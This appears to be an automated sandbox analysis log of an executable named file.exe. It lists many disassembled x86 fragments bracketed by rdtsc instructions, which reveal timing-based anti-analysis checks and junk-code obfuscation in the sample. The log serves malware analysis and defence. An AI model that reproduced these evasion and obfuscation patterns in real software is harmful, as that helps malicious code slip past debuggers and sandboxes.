Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214E01 second address: 1214E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 sub dword ptr [ebp+122D29A5h], edx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007F76D8D60508h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c pushad 0x0000002d call 00007F76D8D60519h 0x00000032 sub di, DCC4h 0x00000037 pop ebx 0x00000038 popad 0x00000039 xchg eax, ebx 0x0000003a pushad 0x0000003b push edi 0x0000003c push ebx 0x0000003d pop ebx 0x0000003e pop edi 0x0000003f push eax 0x00000040 push edx 0x00000041 push ebx 0x00000042 pop ebx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215736 second address: 121573A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1216716 second address: 1216724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D8D6050Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121713B second address: 1217141 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217141 second address: 121715A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215FF5 second address: 1215FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217C7D second address: 1217C83 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1217C83 second address: 1217C88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219CBD second address: 1219CDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60519h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B7F1 second address: 121B81F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F76D9275008h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jmp 00007F76D9274FFDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B81F second address: 121B831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D8D6050Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121E5DF second address: 121E5E5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121EB72 second address: 121EB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221113 second address: 1221119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221119 second address: 122111D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122111D second address: 1221121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221121 second address: 122117D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F76D8D6050Bh 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D2F7Eh], ebx 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F76D8D60508h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 mov edi, 13CAB310h 0x00000036 push 00000000h 0x00000038 jmp 00007F76D8D60510h 0x0000003d mov dword ptr [ebp+122D27CEh], eax 0x00000043 xchg eax, esi 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122117D second address: 1221181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221181 second address: 122118B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218498 second address: 121849C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1218FE6 second address: 1219012 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F76D8D60508h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007F76D8D60525h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F76D8D60517h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121849C second address: 12184A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12184A6 second address: 12184AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122317D second address: 1223183 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225357 second address: 122535B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122535B second address: 122539E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F76D9275000h 0x0000000d nop 0x0000000e movsx edi, si 0x00000011 mov edi, esi 0x00000013 push 00000000h 0x00000015 add dword ptr [ebp+1245F3EBh], eax 0x0000001b push 00000000h 0x0000001d sub dword ptr [ebp+122D3219h], ebx 0x00000023 xchg eax, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F76D9275002h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122539E second address: 12253BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F76D8D60518h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122737F second address: 1227383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1227383 second address: 122739D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60516h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122C9C3 second address: 122C9D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D9274FFAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122C9D1 second address: 122CA5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F76D8D60512h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F76D8D60508h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c xor dword ptr [ebp+12474AC8h], ecx 0x00000032 push 00000000h 0x00000034 mov edi, dword ptr [ebp+122D2C92h] 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebx 0x0000003f call 00007F76D8D60508h 0x00000044 pop ebx 0x00000045 mov dword ptr [esp+04h], ebx 0x00000049 add dword ptr [esp+04h], 00000016h 0x00000051 inc ebx 0x00000052 push ebx 0x00000053 ret 0x00000054 pop ebx 0x00000055 ret 0x00000056 jo 00007F76D8D60508h 0x0000005c mov edi, edx 0x0000005e mov edi, esi 0x00000060 xchg eax, esi 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221387 second address: 122138D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222332 second address: 122233C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F76D8D6050Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CA5D second address: 122CA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12243C4 second address: 12243C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1225567 second address: 12255FF instructions: 0x00000000 rdtsc 0x00000002 js 00007F76D9274FFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007F76D9275002h 0x00000011 nop 0x00000012 push esi 0x00000013 mov dword ptr [ebp+122D1C79h], esi 0x00000019 pop ebx 0x0000001a push dword ptr fs:[00000000h] 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007F76D9274FF8h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b cld 0x0000003c mov edi, dword ptr [ebp+122D295Eh] 0x00000042 mov dword ptr fs:[00000000h], esp 0x00000049 sbb edi, 4F824512h 0x0000004f mov eax, dword ptr [ebp+122D0FE5h] 0x00000055 mov ebx, edi 0x00000057 push FFFFFFFFh 0x00000059 push 00000000h 0x0000005b push edx 0x0000005c call 00007F76D9274FF8h 0x00000061 pop edx 0x00000062 mov dword ptr [esp+04h], edx 0x00000066 add dword ptr [esp+04h], 00000016h 0x0000006e inc edx 0x0000006f push edx 0x00000070 ret 0x00000071 pop edx 0x00000072 ret 0x00000073 nop 0x00000074 push edi 0x00000075 push eax 0x00000076 push edx 0x00000077 pushad 0x00000078 popad 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12265C1 second address: 12265CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F76D8D60506h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122233C second address: 122234F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jl 00007F76D9274FF6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CA62 second address: 122CA67 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12255FF second address: 122561E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F76D9275003h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221448 second address: 122144E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122561E second address: 1225624 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222453 second address: 1222457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122144E second address: 1221460 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F76D9274FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222457 second address: 122245B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221460 second address: 1221464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221464 second address: 122147E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60512h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122245B second address: 1222468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222468 second address: 122246C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D32F6 second address: 11D3302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F76D9274FF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D3302 second address: 11D3307 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229421 second address: 1229426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A539 second address: 122A547 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F76D8D60506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CCC8 second address: 122CCCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229426 second address: 122943D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D8D60513h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A547 second address: 122A54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122A54B second address: 122A54F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229514 second address: 1229519 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122850E second address: 122851C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F76D8D60506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1229519 second address: 1229553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D9275005h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007F76D9275009h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122851C second address: 122852D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 js 00007F76D8D6050Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122F86E second address: 122F872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4E01 second address: 11D4E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F76D8D60506h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4E13 second address: 11D4E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4E19 second address: 11D4E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F76D8D60510h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4E37 second address: 11D4E3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239600 second address: 1239606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1239606 second address: 123960A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123960A second address: 1239610 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124022E second address: 1240264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275000h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F76D9274FFAh 0x00000013 popad 0x00000014 pop ecx 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F76D9274FFBh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240264 second address: 1240277 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jp 00007F76D8D6050Eh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12404C5 second address: 12404C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12404C9 second address: 12404E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60518h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12404E5 second address: 12404F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12404F3 second address: 12404F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12463A0 second address: 12463A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12463A4 second address: 12463A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246908 second address: 124692C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jns 00007F76D9274FF6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F76D9275003h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124692C second address: 1246959 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60511h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F76D8D60515h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246F93 second address: 1246F99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246F99 second address: 1246F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247372 second address: 1247379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124A5BE second address: 124A5E5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F76D8D60506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F76D8D60512h 0x00000013 jno 00007F76D8D60508h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124BB56 second address: 124BB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F76D9274FF6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F76D9275000h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124BB74 second address: 124BB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F76D8D60506h 0x0000000f jns 00007F76D8D60506h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C4A6 second address: 121C4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121C4AA second address: 11FCA72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D6050Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F76D8D6050Ch 0x0000000f jne 00007F76D8D60506h 0x00000015 popad 0x00000016 push eax 0x00000017 jo 00007F76D8D6051Bh 0x0000001d jmp 00007F76D8D60515h 0x00000022 nop 0x00000023 sbb dx, D5D5h 0x00000028 lea eax, dword ptr [ebp+124911B3h] 0x0000002e pushad 0x0000002f jp 00007F76D8D60508h 0x00000035 jo 00007F76D8D60508h 0x0000003b push ecx 0x0000003c pop ebx 0x0000003d popad 0x0000003e push eax 0x0000003f jmp 00007F76D8D60513h 0x00000044 mov dword ptr [esp], eax 0x00000047 push 00000000h 0x00000049 push ebx 0x0000004a call 00007F76D8D60508h 0x0000004f pop ebx 0x00000050 mov dword ptr [esp+04h], ebx 0x00000054 add dword ptr [esp+04h], 00000014h 0x0000005c inc ebx 0x0000005d push ebx 0x0000005e ret 0x0000005f pop ebx 0x00000060 ret 0x00000061 mov ecx, eax 0x00000063 mov edi, dword ptr [ebp+122D2C42h] 0x00000069 call dword ptr [ebp+122D3939h] 0x0000006f pushad 0x00000070 push ecx 0x00000071 push edi 0x00000072 pop edi 0x00000073 pop ecx 0x00000074 jne 00007F76D8D60508h 0x0000007a push ebx 0x0000007b push edi 0x0000007c pop edi 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121CB5B second address: 121CB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D9274FFBh 0x00000009 popad 0x0000000a rdtsc
